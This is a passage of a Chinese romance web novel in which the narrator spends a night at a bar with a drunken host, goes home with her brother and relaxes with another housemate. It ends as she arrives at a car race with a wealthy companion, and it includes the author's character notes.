我终于转头看向旁边的人。 泉卓逸拧着眉头,眉目间流露出一点祈求,在枯燥、暗淡的冬天里,他?的五官显得格外刺目。 “你就不能?多看看我吗?” 我移开?视线,叹了口气,懒散地说:“看你干嘛,每天看不会腻吗。” 建筑也好?,人也好?,总会有看腻的那一天吧。 风吹到我的脸上,围巾没系紧,有风溜进缝里,凉嗖嗖的。 手脚发冷,但我的胸膛深处有一把无名的火,碾磨着我的灵魂,裂开?的缝泛起细密的痒意,有什么东西?要钻出似的不停地鼓动。 江对面灰扑扑的建筑距离太远,用食指和拇指丈量,只有大概一片叶子的长度。 手指合拢,我再?看向对面,遗憾地发现它们还矗立在那里,没有被我的意念摧毁。 旁边传来紧绷的男声?,诡异的平静:“那你想看谁?” 我想了想,脑中闪过许多张人脸,笑着的、愤怒的、哭泣的…… 无数张脸闪过—— 最后定格在落地窗前。 绵延不尽的山脉顶着雪,森林和湖泊,天空之下,一片景观尽收眼底。 落地窗!一定要落地窗啊! “是柯觅山吗?” 泉卓逸说:“昨天他?来了吧。” 我想起就想笑,好?笑地说:“他?说我们是朋友呢。” 他?忽然冷笑了一声?,垂着头,凝视着自己的手:“我真搞不懂你在想什么,他?们的世界就那么吸引你吗,还是你得到了就无所谓了,因为我太快向你投降,所以你对容易得手的东西?兴趣全无。” 他?抬起眼,绿眸倒影着我的模样。 视野中,身上的情绪变成一团乱麻,泉卓逸再?次变成了毛线球。 “我回来之后,你有喂过一次吗?”他?嗤笑道,“是狗早就饿死了。” 突然,他?抿着嘴,焦躁地揉乱头发,愤愤地咬了下唇环:“你到底想要什么?” 不像他?,我想要的一如既往的明确。 我诚实地说:“我想要大房子。” “我给你买。” “你买不起。” 连富豪榜都没上,他?一个男公关能?干啥。 他?猛地皱紧眉头:“……我也有一部分财产。” “如果我想要私人会所那么大的房子,你肯定买不起。” 泉卓逸沉默了,不死心地问?:“网上多少钱?” “几?十?亿。” “靠,你要买座山吗?!” 的确是座山。我点了点头。 “你认真的?” 他?反复打?量我的表情,拳头紧握,眼神飘忽,最后咬牙切齿地问?:”不是柯觅山,是谁?宗朔也不可能?、也不可能?是我哥、浦真天和你哥更别提了……邛浚死都不会给别人花钱。” 他?:“是霍亦瑀是吧。” “你想的是他?吧。” 我还没说什么,泉卓逸突然就爆发出抓小三似的神奇力量,脑子瞬间清醒,迅速猜中了重要人选。 他?闷闷不乐得说:“你怎么确定他?不会骗你,他?又不是我,被你打?了还要跑回来!” 我:“他?比我有钱,他?能?骗我啥?” 泉卓逸语塞,气急败坏地思考良久,最后说:”那你也不能?因为他?不搭理我啊。难不成你要和他?走?,你爱上他?了?” “你在说什么。” 我终于反应过来,他?是觉得我要跑路,于是严厉地训斥道:“我什么时候说不要你了,你老?实给我待着。” 他?的火来得快去得也快,努着嘴很笨地生气,燃烧的怒火被风吹散,在我的注视中化?作吐出的白雾。 “你太贪心了。” 他?憋屈地说:“我从现在存钱也不是不能?存够十?几?亿。” 那得把他?熬死才能?买到吧! 泉卓逸的确是个笨蛋。 一阵寒风吹来,我打?了个哆嗦,在河边聊天实在太冷了。 “好?冷,我们去屋里吧。” 能?去哪呢? 我脑筋一转,瞬间灵光乍现,想到个绝妙的点子,飞快地说:“酒吧,反正出来了,我们去酒吧玩!” 成年后,世界地图终于解锁,我有理直气壮迈进酒吧的资格了,听说酒吧是人无聊时消遣的去处,简直就是为我们量身定做。 我命令泉卓逸找最好?玩的酒吧,特别强调:“一定要有空调才行。” 他?不情不愿地掏出手机,一边嘟囔“酒吧有什么好?玩的”,一边选了家评分最高的店。 距离我们大概半个多小时,打?车过去刚好?赶上开?门时间。 车上他?问?我饿不饿。我胃里塞满他?的情感?,毫无食欲。 但人类需要进食,于是陪他?在酒吧旁吃了家外国菜,见我一口没动,他?吃到一半就放下叉子,拉着我走?进刚刚亮起霓虹灯牌的酒吧。 室内温度偏高,像是泡进温泉,浑身热乎乎的,这里的灯光比[极乐世界]要闪,音乐声?大得吓人,卡座和吧台的过道里挤满了人,舞池里肢体摇曳,空气中混杂着各种香气。 我瞬间兴奋起来,把所有无聊甩在脑后。 泉卓逸全程冷着脸,紧紧跟在我身后,挤到吧台边环住我,警惕地四处张望。 他?说了什么,但音乐太吵,我一个字都没听清。 他?俯下身,凑在我耳边:“你不觉得吵吗,想唱歌我们去包厢好?了。” “好?玩啊。”我随手点了几?杯酒,让泉卓逸付钱。 酒保动作熟练,哗啦啦地摇银色铁制的杯子,十?分潇洒地抛起,又稳稳地接住,最后将两杯颜色各异的酒推到我们面前。 我浅尝一口,兴致勃勃地打?量着在舞池跳舞的人。 各种欲望交织在一起,比起[极乐世界]更加赤裸,视线时不时撞上几?个同样观察的人,他?们眼睛一亮,想要靠近。 泉卓逸按住我的肩膀,捏着杯子的手咔咔作响,一口气喝光酒:“我喝完了,我们走?吧。” “你喝完再?点一杯啊。” 我环顾四周,给出酒吧初体验评价:“果然没几?个好?看的。” “……你想干嘛。” “我只是在想以前的事,在决定去[极乐世界]之前,我还想过去酒吧。” “你是冲着人去的?” “不然呢。”我看向他?。 目光相接,他?低头喝光新递来的酒,有点得意地笑了一声?:“你已经选择我了。” “不对……是浦真天。” 他?的眉头再?次聚拢,思考道:“那天浦真天被打?之后,你们是不是说了什么,要不然他?在乐个什么劲。 “没啥啊。”我说,“不过他?说要听我的话而已。” “……” 泉卓逸的目光变冷,忍不住嗤笑:“果然是个贱皮子,之前都是在装模作样而已。” “以后不要跟我说他?的事了。” 他?扭过头,像是身上有刺一样抓挠后脖颈,咔咔咬唇环:“我不想听到你和他?的事。” “不是你要问?的嘛。” 我心情很好?地摸他?的头:“你之前还把他?送给我,你忘记了吗?” “对了。” 说到这个,我突然想起差点被遗忘的事,摸他?头的手变成抓:“你为什么要拍照搞偷袭!” 他?疼得抽气,却难得露出开?心的表情,手臂环绕着我,将下巴搁在我的肩膀上:”还能?为什么,气死那个姓麦的呗。” “没想到他?也是个有病的,像机器人一样回复我:没用。” 泉卓逸笑了起来:“没办法了,你身边全是有病的人。” “你病得最重。” “对啊。”他?看着我,舔舐下唇,手臂支在吧台上,吐出的气息很近,因为音乐声?太大,他?一直凑在我耳边讲话,睫毛时不时擦过。 “没有你的话,我可能?一辈子都不知道自己是这种货色。” 我惊讶:“你跟你哥竞争,没竞争过的时候不觉得吗?” “不一样。”他?嘴硬地反驳我,“那能?说一件事吗?” “哪里不一样,反正你都没赢过。” 我:“你哥会不会也是抖m啊,上次他?来找我自取其?辱,看上去也不怎么聪明的样子,不过他?比你有钱诶,你就不能?努力一下吗。” 泉卓逸烦躁地把头发揉乱,身上的饰品叮铃作响:“我能?怎么办,那我把他?弄死行了吧。” “对。” “我死了,他?都不一定有事。” 他?郁闷地长出了一口气,陷入回忆中。 “像他?那种人肯定连失败是什么滋味都不知道,他?从出生就比我厉害,比周围很多人都厉害,天生冷血,可惜别人都看不出来,都以为他?是个好?人,以前我也是,直到母亲死了才发现他?原来是个没心没肺的冷血怪物?。” “母亲下葬的时候,他?竟然只想着跟我分家产,想着以后集团的股份分割。” 他?冷笑一声?:“像他?这种冷血的人,活得比谁都久,祸害遗臭千年。” 我觉得有被内涵到,欲言又止地放下手。 泉卓逸顶了下腮帮,勾起我的手,冰凉的戒指贴着皮肤:“你不会因为他?的话对我有意见吧。” “和他?有什么关系?” 我说:“对你有意见不是正常的事吗。” 仔细想想,泉卓逸可能?拿了团厌剧本。 泉卓逸盯着我看了一秒,闷头喝酒,桌上很快堆满空了的酒瓶,他?将头搁在我的肩膀上,全身依靠在我身上。 增重效果明显,加上他?身上几?斤的饰品,我被压弯了腰。 “我发现,如果我不说话,你就不会说话。”他?的声?音变低,像是喃喃自语般。 “没什么说的。” “为什么?” 他?忍不住说:“你可以给我讲最近发生了什么事,告诉我你的过去,只有我一个人喋喋不休,难道你就没有一点想说的吗。” 真没有。 他?的眼神逐渐迷蒙,但仍然固执地看着我。 在这种时候,我发现他?身体内像始终有一根钢筋,这根筋让他?挺直脊背,但在崩溃的时候,又能?说断就断,让我百思不得其?解。 “好?吧。” 我思考片刻,挑出个感?兴趣的说:“昨天柯觅山他?妈来的时候,你是知道的吧。” “说什么事后才知道,很假诶。” “……” 泉卓逸垂着头,握着杯子的手逐渐发紧:“然后呢。” “然后。”我想了想,“我在跟宗朔冷战。” “该生气的不是我吗,为什么他?要生气。对了,你也是男人,你能?告诉我为什么吗?” 他?仰头灌酒,声?音闷闷的,像喉咙里被塞了一坨棉花:“不能?。” “但他?比我厉害,他?竟然能?忍受你和其?他?人,至少表面看出来他?在想什么……或者,其?实他?也没有我这么喜欢你。” 说完,他?胸前震动,被自己说的话逗笑。 我:“你有多喜欢我?” “我?”他?又笑了下。 “你说呢,下次再?进医院,你还要发消息给泉越泽,让他?来收我的尸吧。” 我端起杯子品尝鸡尾酒,酒精在血管里打?了个转,什么感?觉也没有。 旁边的泉卓逸已经彻底醉了,倒在吧台上,时不时发出呢喃声?。 不知道从哪句话开?始醉的。 有几?个人来搭讪,被我身边胡言乱语的泉卓逸吓退了, 他?时而兴奋,时而崩溃地絮叨了一堆关于小时候的事,他?和泉越泽,别人怎么看他?哥,又怎么看他?。 翻来覆去,他?像呕吐一样吐露着自己。 喜欢,或者说爱,是一种难以形容的东西?。 它?是我的食物?,但我无法像科学家那样搞懂它?的产生流程。 它?诞生从对视开?始,在人类的体内经过混乱的、毫无根据的冲撞,是受激素控制的,时而高涨,时而稀薄的东西?。 爱这种东西?,到底是怎么诞生的? 我脑中产生了疑惑,像是牛顿被苹果砸到之后,开?始思考人生那样,第一次开?始思考它?的运作全过程。 为什么会想这件事。 因为我吃饱了。 我撑着下巴有一搭没一搭地喝酒,身边的人来了又走?,舞池群魔乱舞,音乐声?依旧狂躁。 酒保始终在附近打?转,等他?来收杯子,我问?他?:如果他?老?了,耳朵会不会聋。 他?回以一个你礼貌吗的笑容,然后说看出我不喜欢喝酒,要请我喝可乐。 “不喜欢身边那个吗?” 我看向倒在桌上,仿佛睡过去的泉卓逸,他?的一只手仍然攥着我的衣角。 “也不是不喜欢吧。” 酒保靠在吧台,点了点头:“那就腻了。” “男人黏人会惹人烦,下次你可以选个不那么黏人的。” 他?将可乐递给我,杯子下压着一张纸条,当我向他?看去时,他?毫无知觉地勾起唇角,摇杯子的力道加大,露出一截有力的小臂。 若有若无的食物?气息飘来,混杂在此?起彼伏的欲望中。 我把纸条塞进泉卓逸的口袋里,继续思考食物?的诞生过程。 手机接连震动,屏幕上闪烁着”哥哥”。我接通电话,他?的声?音被嘈杂的音乐淹没。 “小冬你在哪。” “酒吧。”我把名字告诉他?,他?嗯了一声?就挂断。 又过了一会儿,几?个人围过来要联系方式。我不加,他?们就写纸条硬塞,嬉皮笑脸地问?东问?西?。 泉卓逸被彻底忽略,我还以为他?能?帮忙宣传【极乐世界】呢。 但他?倒得太快,在吵杂的环境里昏得十?分安详。 搭讪的男人仍然不肯走?,毫不掩饰地盯着我,说:“反正你男朋友睡了,我们认识一下他?也不会说什么,加个好?友吧,我不经常来这家店,是真的想和你认识。” 我问?酒保:“他?不经常来吗?” 酒保瞥了男人一眼,无奈地说:“晚上看不清人脸,我也记不清。” 男人凑近我身边,缠着要我拿出手机。 男人的脸和酒保的脸在我眼前交替出现,我困扰地哼了一声?。 仔细看看,都长得不怎么样。 一道熟悉的身影挤到我身边。 像是刚从[极乐世界]里跑出来,哥哥穿着整齐的西?装,和酒吧格格不入:“跟我回去。” 周围的人识趣地散开?,哥哥抓住我的手就要走?。 我指指旁边的“尸体”:“这还有个。” “……” 哥哥面色更冷,一只提起泉卓逸,一只手拉着我,步伐急促地离开?酒吧。 室外寒风扑面,世界终于恢复宁静。 里面太吵了,在那种地方工作,老?了不止视力不好?,耳朵也得报废。 哥哥招来出租车,粗暴地把泉卓逸丢进后座,转头问?我地址,我告诉他?后,他?转告给司机,然后“嘭”地关上车门。 出租车消失不见踪影。 我和哥哥站在街头,冷风喧嚣。 他?握着我的手力道很紧,手指发热,但手腕处却冰凉。 他?穿得很薄,心情平复后,脸色苍白了些。 “下班了吗?”我问?。 “……嗯。” 他?握着我的手,漫无目的地沿着街道走?,时不时经过几?个浑身酒气、耍酒疯的人。 黑夜笼罩着城市,天空被霓虹灯染色,看不到几?颗星。 我握着他?的手,困倦地打?了个哈欠:“以后我不想去[极乐世界]了。” 哥哥的动作停顿,像机器运作过程中的卡顿。 “……” “是因为我吗?” “不是。”我说,“只是我不想去了。” 哥哥的脚步慢了下来,风把他?的头发吹乱,他?的嘴唇动了下,最后抿成一条单调的直线。 “好?,那就待在家里吧,我会养小冬一辈子。” 我:“我也不想待在家里,我想去其?他?地方。” “什么地方?” “暂时还不知道。”我歪着头想,“我想去有落地窗地方,最好?还有雪。” “……那我呢?” 运作机器彻底停摆,他?迈不动脚了,像被灌了铅,双腿停留在原地。 他?握着我的手,触感?熟悉,手指和手指像是齿轮卡在一起,从小到大,他?总会十?指紧扣牵着我,手心贴在一起。 我晃了下交握的手:“你要工作呀。” “对啊。”他?木楞地说。 “等你有空吧,上次你该和我出去玩的,我还坐了直升飞机,脚下面就是山脉,有种在飞的感?觉。” 寒风吹过,此?时,我的想法已经飘到很远的地方。 隔着江对岸一片暗淡,但转身,我正站在霓虹世界里,明亮得像是白天。 哥哥站在我身边,表情苍白,勉强牵着我的手:“小冬。” “不要离开?我。” 我说:“我就在这里。” 为什么他?们总觉得我要离开?,我为什么要走?,我的财产和食物?都在这里,为什么要走?,真奇怪,难不成我是那种看上去会跑路的人吗? 我很懒惰,一点也不想挪窝。 除非, 有更吸引我的东西?。 “不会丢下你的。”我说,“如果要走?,你也是我的行李。” “……” 哥哥垂下头,路灯在他?低垂的睫毛上投下细碎的阴影,不确定地、反反复复地用视线嗅闻,最后抱着我,恨不得将我嵌入身体里。 “我们回家吧。” 许多天以来,他?终于露出一点笑—— 作者有话说:立下flag![墨镜] 哥这种爱憋的人,不到最后不发疯,原本他是不想咚和任何人在一起的,但他不想阻止她,觉得那是她的自由,他只是哥哥而已,能做什么呢?看到浦有所行动的时候,他怒了,因为对浦的定位是很亲近的朋友,能在困难的时候帮一把,和自己一样是咚的哥哥,他不准浦和咚在一起,但是看到咚选其他人也很难受,觉得自己不正常,怎么也消解不了 等拙拙出事,他以为会回到以前,结果咚找了宗,一个年龄上更称为长者的人,又开始怒了,转头一看浦转变心态,突然想当家人,感觉地盘被侵犯,怒火又撒到浦身上,但是看到浦被打,心理过不去,觉得最开始选浦也不是不行了,后悔自己为什么要阻止,至少咚能在附近,现在处于一种留下吧,只要留下就好的心态,对浦彻底放开了,底线是不能当家人,内心把浦从兄弟变成了家庭宠物(?),如果在这个地方留下来,那就是完美的家庭啊(何意味) 至于拙拙,他很自恋,有钱人的孩子从小受到最大的挫折是觉得自己比不上哥哥,总是被无视,很想要证明自己的存在,有强烈的自毁欲,极度自卑又自傲,很难形容这个人,他觉得当男公关是种堕落,但我堕落我有理,如果被人指出身份低贱,立马又会怒(何意味) 他对咚时而仰视,时而俯视,而且很贱,想要被刺伤,如果真让他得到,他又会不安逸,喜欢咚的脸,情窦初开后立马进行自我投射,非常自恋,所以情感才会特别浓,容易反复不安,偶尔聪明一回(试图解释)(解释不明) 总结:每个人都有缺点 我心里觉得最好的是普,够笨,而且不爱争(大扔子) 哥哥这把彻底放开了,终于可以吃扔子了(畅快)《 》 60-65 第61章 不去?上班的第一天。 我畅快地起床, 大摇大摆地晃到客厅,一头栽进沙发上熟睡的哥哥身上。 哥哥闷哼一声,迷迷糊糊地睁开眼,手臂像安全带一样环住我防止滑落。 等他醒了, 我打开电视, 换到固定?的电影播放频道。 经过昨天的思考, 我彻底焕然一新,重燃对?手机的热情,连厌倦的短剧都?看得津津有味。 我将此归结为不上班彻底释放了我的灵魂! 没过不久,我收到了重要消息。 [霍亦瑀(超级有钱)]:下午有空吗。 [霍亦瑀(超级有钱)]:去?看赛车比赛吧, 你会喜欢的 我秒回同意,顺便清理其他积压的消息。 没有99+,因为泉卓逸还?没醒, 而宗朔自从上次就没有给我发过消息。 麦景发了几条,问我在哪,说最近有事来不了[极乐世界],非常礼貌地问我能?不能?请假, 因为我没回,他大概去?找了宗朔,说会尽快回来。 然后是邛浚。 他最近不知道在忙什么,连广告也不发了, 却每天坚持发自拍的传统, 完全不需要我的回复, 一个?人?在聊天界面自娱自乐。 就在我点开聊天框的时候, 他像长了天眼,新的消息顷刻间跳动。 [邛浚(小?心诈骗)]:哎呀 [邛浚(小?心诈骗)]:合作伙伴突然冷淡是怎么回事?真可怕,这?个?世界上还?有不喜欢钱的人? 因为懒得去?上班, 奢侈品事业被我抛之脑后,只有手机时不时会冒出的入账通知提醒我它还?在运作,刚才看了一眼,荣小?晓提醒我该补货了。 不上班,钱还?是要赚的。 卖奢侈品比工资高呢! [世界第一恶魔大人?]:我在忙大项目 [邛浚(小?心诈骗)]:我有荣幸知道吗? [世界第一恶魔大人?]:No! [世界第一恶魔大人?]:下周去?补货吧,下周一,听好咯,你不准迟到 [邛浚(小?心诈骗)]:哎呀 [邛浚(小?心诈骗)]:遵命 我放下手机,对?上哥哥安静的视线。 发消息时,我正叠在他身上。 “饿了吗?”他突然问。 “没有。” 我偏过头看电视,耳朵贴在他的胸口,一阵一阵的心跳声敲击耳膜,充当电视机的背景音乐。 过了一会,浦真天醒了,沙发上又?多了一个?人?。 我盘腿坐在中间,左边是哥哥,右边是浦真天。 电视机播放着外国田园电影,大部分都?是主角在牛羊里走来走去?,白天蓝云,风景怡人?,人?物?对?话枯燥,像是记录片一样平平无奇。 我打了个?哈欠,倒在哥哥腿上,用手戳他的下颌,顺口说:“今天我要出去?玩。” 他原本被我挠得想笑,听到我的话后抓住我的手指,敛眸问:“和?上次那个?人?吗?” “对?。”我说,“我们?要去?看赛车。” 哥哥嗯了一声,开始梳理我的头发,整理到一半,忽然对?浦真天说:“等会我要出去?一趟,今天的午饭就拜托浦哥你了。” 浦真天原本呆愣地盯着电视,反应过来后里先看向厨房的房子,然后干脆地点了点头。 他有点意想不到,忍不住看了哥哥几眼。 我动了动腿,脚趾碰到浦真天睡衣的绒毛,他好像特别?偏爱毛绒材质,衣摆柔软得让人?想踩两下。 沙发本就不大,我躺在中间占据大部分空间,脚自然碰到他结实?的大腿。 脚下的触感瞬间绷紧,睡衣下的大腿硬得像块粗原木,几秒后逐渐松懈,变成柔韧劲。 被踩到后,他的视线犹豫地投来,忍不住笑着拍了下我的腿,“冷吗?要不要把毯子盖上。” 我顺势把脚放在他的腿上:“要。” 他拿起旁边的毛毯,将我的腿盖住,任由我的脚放在腿上。 哥哥垂着头,不轻不重地梳理我的头发。 我惬意地享受着,在电影催眠的音效里打了个?盹,等再睁开眼时,哥哥已经出门了,浦真天在厨房里忙活。 空气中飘着饭菜香,暖洋洋的,像是浸泡在温泉里。 我晃到厨房门口观摩他做饭。 “小?冬你醒了。” 浦真天左手拿着碗,锅里发出一声急促的炸裂声,他慌忙地转过头:“饭快好了,不知道明子啥时候回来,你可以发消息问一下。” 我没有动,抱着手臂看他动作。 他穿着毛绒睡衣,像只庞大的熊,翻炒的动作略显笨拙,转头看见我还?在原地,忍不住问:“不去?看电视吗?” “我在看啊。”我说。 不知道为什么,我就喜欢看着他在厨房里手忙脚乱的样子。 厨房在浦真天的对比下略显狭窄,他的身材挺拔,因为不好意思微微勾着头,卷起衣袖露出手臂,小?麦色的皮肤匀称光滑。 片刻后,他再次转头看我, 自从上次那天晚上后,我就没有跟他单独相处过,他从来没有找过麻烦,总是安静地待在旁边,如果我找他,他的眼睛会亮一点,眉头微扬,肉眼可见的开心。 他和?泉卓逸是截然不同的类型,一个?个?子大但性格柔和?,一个?瘦得像抹影子,却像是刺猬一样。 所以,浦真天销量更高是有道理的。 他做饭的手法熟练不少,但仍然有点手忙脚乱,因为时不时回头,他不小?心失手把油倒多了,瞬间油点飞溅,炸了一身。 我眨了下眼,指着他沾上油的睡衣,“弄脏了。” 他先把火关小?,油终于不飞了,拿着锅铲,垂头丧气地说:“没找到围裙,我应该换身衣服的。” 等把菜乘进盘子里,他擦了下额头,犹豫片刻转身往卧室走。 我跟了上去?,跟着他的脚步抵达卧室门口。 我们?的卧室距离只有两步远,但一次都?没看清他卧室里的模样。 他的房间有点乱,大床上除了被子还?有毛绒玩具,床头柜上摆着散乱的挂件和?零散的物?品。 一块眼熟的手表搁在桌面上,随意地摊开。 我摸着下巴思考,总觉得它越看越眼熟。 啊。我指着手表说:“这?是不是第一次见面的时候你戴的?” “啊……对?。”他刚拿出衣柜里的毛衣,听到我的话,走到床边拿起手表,思索道:“是个?客人?送的,听说很?贵。” “宗朔也有一块。” 我终于想起哪里眼熟了,这?不就是宗朔给我的、被我卖二手的那块吗? 原来客人?广撒网给了好多人?。 “真有钱啊。”我感慨道。 能?当做鱼饵撒给男公关,简直是奢侈的行为。 浦真天挠挠头,把表放回桌上:“宗老板认识很?多,一般送礼物?也会给他一份。” 给他也送?感觉宗朔就像是[极乐世界]必点品,熟悉的客户都?和?他关系不错。 浦真天拿着毛衣,欲言又?止地:“小?冬……你不去?看电视吗?” 我的回答不变:“我在看啊。” 我理直气壮地抱着手臂,眼睛一眨也不眨地看着他。 他摸了下后脖颈,迟疑地握着睡衣下摆,最后还?是将它脱了下来,露出结实?的、锻炼有素的身材。 结实?的胸肌,块垒分明的腹肌,小?麦色的肌肤在窗外阳光下泛着健康光泽,不过比脸上要淡一点,他局促地背对?着我,抬起手臂飞快地穿好衣服,背部肌肉伸展,在腰部成为两个?窝。 真的有腰窝诶,我盯着他的动作,好奇地说:“你会出去?健身吗?””在房间练。”他指向角落的哑铃,”睡前和?起床时运动。” 我恍然大悟地点点头。 换好衣服后,浦真天快速从我身旁经过,来到沙发边,憨厚地朝我笑了一下:“我陪你看电视。” 他坐在沙发角落里,手放在膝盖上,看着格外老实?。 我打量着他和?沙发,在他愈来愈局促的表情里伸出手,按着他的肩膀,郑重地说:“你听我的,先把腿放上去?,然后躺平,像睡觉一样躺平。” 浦真天乖乖照做,整个?人?在沙发上摊开,从左边抵达右边,让沙发略显局促。 等他躺好,我立刻叠了上去?,心满意足地枕在他的胸膛上。 浦真天瞬间僵硬,被我拍了拍才逐渐放松,声音颤颤巍巍:“小?冬,你不觉得硌人?。” “你很?暖和?。” 而且胸部软绵绵的,像是一块融化的棉花糖,一点也不是硌人?。 我抬起头,下巴搁在他的胸口上,开心地晃了下腿:“而且哥哥在家,我也会叠在他身上啊,你不喜欢躺着吗?” “……喜欢。”他用手挡住半张脸,露出的唇角扬起。 缓了一会后,他动了动腿,自动帮我调整姿势,抽出旁边的抱枕,垫在我的腰后面,头靠在沙发扶手上,忍不住盯着我看。 固定?电视台换了部电影,是一部萌宠片。 主角是条正直的狗,但是条笨狗,总是在闯祸,某次错以为会被送走后,心灰意冷离家出走,最后破解误会,达成欢乐包饺子结局。 一天不看包饺子幸福大结局就浑身难受。 我觉得电影比短剧好,至少反派是一次性的,不是超强黏性口香糖。 短剧里的反派就像蟑螂,源源不断地产生。 我忽然来了念头:“为什么你不去?演戏嘞?当演员比当男公关好像更赚钱诶。” 对?诶。为什么我从来没想过演员、艺人?这?种光鲜亮丽的工作?每次看到偷税漏税的新闻,总是在感慨真赚钱啊,但从来没想过会是自己或者身边的人?。 为什么呢? 因为在手机屏幕里是另一个?世界吗? 我盯着浦真天看,肯定?地点了点头,“你长得比他们?好看。” “……可是演员需要演技吧,我不太行,我不会骗人?。” 他忍不住笑了起来:“大学的时候参加活动,我在台上不小?心笑出了声,特好尴尬。” “现在挺好的,我们?也不需要很?多钱啊,已经比很?多人?幸福了。” 我摇头,有理有据地说:“演技不好不是大问题,短剧里大家的演技都?不好嘞。” “听说拍短剧很?累。”他安静地给我当垫子,老实?地说,“一天要拍12个?小?时,大部分人?赚不到什么钱。” “长得好看就行了吧。” 我说:“就像男公关一样,反正都?是哄人?嘛。” 我觉得哄观众和?哄客人?是一样,浦真天把客人?哄得开心,为什么不能?隔着屏幕让观众也开心呢? 在我看来,这?不是件区别?很?大的事。 “……” 浦真天抿了下唇,小?声地说:“还?是不一样的,想要真的出名,需要签约公司,让公司来捧。” 我想了想,觉得他是因为不会上网、不够自信。 “那你为什么会选择去?[极乐世界]上班啊?” 他沉默片刻,说:“有人?推荐。” “……如果想要贷款,有人?就会推荐去?男公关店,大学的时候,也有来招聘的。” “去?大学招聘吗?”我好奇地问。 他苦笑一句:“当时写?的是销售招聘,没仔细看我就来了。” 这?种形式,总觉得听得像某人?会干的事。我若有所思。 浦真天陷入回忆,喃喃自语说:“就像所有路都?通向男公关了。” 我观察着他的表情,转过头听他的心跳。 砰砰砰,有一瞬间失衡。 再抬头时,他正看着我。 棕色的眼睛像是蜜糖的泉眼,他的身上总有股会源源不断冒出柔软的情绪的气质,像一颗熟透的果实?。 “我还?是觉得现在已经很?好了。”他说,“能?遇到你,遇到明子。” 他体温偏高,放松时肌肉绵软,我忍不住舒展身体,在他的胸口翻了个?身,额头顶着胸膛,像想要钻进去?。 “小?冬,怎么了?”他被我蹭得发痒,忍不住笑了起来。 “我想钻进去?。” 我双手合十,对?准他的胸膛中间,指尖陷入毛衣和?肌肉之间,以标准的游泳运动员跳水的姿势,对?准他的胸口。 他下意识挺直上半身,绷紧肌肉。 “我要钻进你的胸口里,然后躺在你的身体里面,把你的心脏当做窝。” 我认真地说,手掌贴在他的胸口,柔软地下陷,很?暖和?,尤其适合当个?窝。 真的很?软诶。我忍不住抓了两下。 他腾地抓住我的手,脸红得像个?番茄,因为我的话反应不过,愣了半晌,拿起毛毯把我裹紧,结结实?实?地抱在怀里。 我被束缚住,只能?支着下巴看他,感觉自己被包成了一个?茧,我眨巴下眼睛,说:“我不会真钻进去?的,那样就太血腥了。” 浦真天慢半拍地笑了,忍不住盯着我,手慢慢地收紧,含糊地说:“就这?样待会吧。” 他的话音刚落,门被人?打开。 浦真天愣住,我抬起头,浦真天愣住,我抬头看见哥哥拎着袋子站在门口,一身寒气。 视线相对?,空气安静了几秒。 “明子——” “我带了炸鸡。”他平静地走进客厅,表情如常,“你们?喜欢的。” 他把袋子放在餐桌上,去?厨房看了一眼,然后在沙发的另一边坐下。 浦真天把我放在中间,然后慌张地跑去?厨房,才想起菜还?没做完,继续进行手忙脚乱的厨艺。 我假装自己是个?飞鼠,扑上去?把哥哥包裹住。 他的脸颊冰凉,睫毛上还?沾着雪花。 我摸了下他的眼睫,雪花在手指上变成水。 我抬头看他:“下雪了。” “一点点。” 他缓慢地眨了下眼:“现在已经停了。” 说完,哥哥忽然故意用手碰我的脖子,冰得我缩了起来,立马瞪着他:“大胆!” 他看着我,再次笑了—— 作者有话说:原本想一口气写完的,结果太长了!修文到现在,我还是投降了(跪) 第62章 堪称罕见?的恶作剧。 自从高利贷之后, 他就没再做出?这种幼稚的行为。 以?前单独相处的时候,哥哥偶尔会冒出?奇怪的念头,喜欢捉弄我,故意惹我生气, 不过我知道人类这样是为了吸引目光, 所以?十分大度地原谅了他。 浦真天摆好饭菜, 喊我们过去吃饭。 我懒惰地趴在哥哥的背上,被?他挪到椅子上。 餐桌不大,三个人刚好。 今天我的心情也很好,多吃了几口, 浦真天觉得我吃得少?,给我夹菜,又被?我塞进哥哥的碗里。 等吃完饭, 手机应景地震动。 我欢快地去换衣服,啪嗒啪嗒跑到门口。 在离开前,哥哥叫住我。 他仍然坐在餐桌边,只?不过脸上的笑容消失, 恢复成以?往的模样,黑沉的眼睛看?着我:“早点回家好吗?” 浦真天看?了他一眼,同样投来关切的目光。 我朝他们挥挥手,飞快地下楼。 眼熟的豪车停在路边, 环绕着几个对车感兴趣的路人, 我如同炮弹一样冲进车里, 兴高采烈地对司机说:“走吧!” 司机友善地笑了下, 转头启动车辆。 我心满意足,这才看?向旁边的人。 霍亦瑀交叠着双腿,悠闲地撑着下巴, 笑道:“这次动作真快,我还以?为你哥会陪你下来。” “他还要工作啦。” 他今天穿了件深灰色大衣,衬得浅色眼眸愈发地亮,心情很好地说:“你喜欢赛车吗?” “不确定。”我说,“去过现场才知道吧,不过,我还是更喜欢飞行的项目。” “蹦极?或者滑翔伞?” 霍亦瑀作势思考,轻描淡写地说:“那下次去好了。” 我:“你喜欢极限运动。” “以?前经常去,现在大多数时候待在飞机上到处开会。” 他叹了口气,眸光闪动,忽然调笑道:“为了跟你见?面?,我可是加班完成了工作。” 我也学着他叹气,故作深沉地说:“为了跟你玩,我直接没去工作。” “哦?”他抬起头,饶有?兴致地看?着我,“不去的话,你们老板不会说什么吗。” “我正在冰战。” “换对象了啊,上一个冰战对象呢。” 我:“和好了。” 霍亦瑀点了下头,又叹气,慢条斯理地调整手表,意味不明地说:“他还挺绅士的。” 在接收到我疑惑的目光后。 他补充道:“不是在夸他。” 车辆行驶畅通无阻,连红灯都很少?遇到,越过的景物?从高楼大厦过渡到山脉,最?后接近平坦的、宛如公园一样的广场。 我左瞧瞧右看?看?,狐假虎威地跟在霍亦瑀身后。 刚下车,几个西装革履的人前来迎接,带着我们进入另一侧远离正常检票、隐秘的通道。 上到二楼,整面?落地窗完整地呈现赛道,中?间是酒店式的大厅装饰,而另一边是巨大的屏幕,像是排行榜似的显示数十个名字,名字后面?滚动着数字。 穿过走廊,负责人领着走进一间包厢,接着和霍亦瑀说了几句话,满脸笑容地离开。 穿着黑白制服的服务员立在门边,霍亦瑀挥挥手,他也离开了房间。 和外面?一样,包厢有?巨大的落地窗,玻璃外就是赛道,下面?有?许多走来走去的人,穿着赛车服的比赛选手跟维修服的工作人员激动地说话,放眼看?去,跑道平整,像巨蛇一样蜿蜒到远处。 “外面?屏幕上的排名是什么啊?” 我转头问:“后面?还有?数字,是业绩吗?” “是压金。”他倒了杯水,递给我,“知道赛马吗?和那个差不多。” 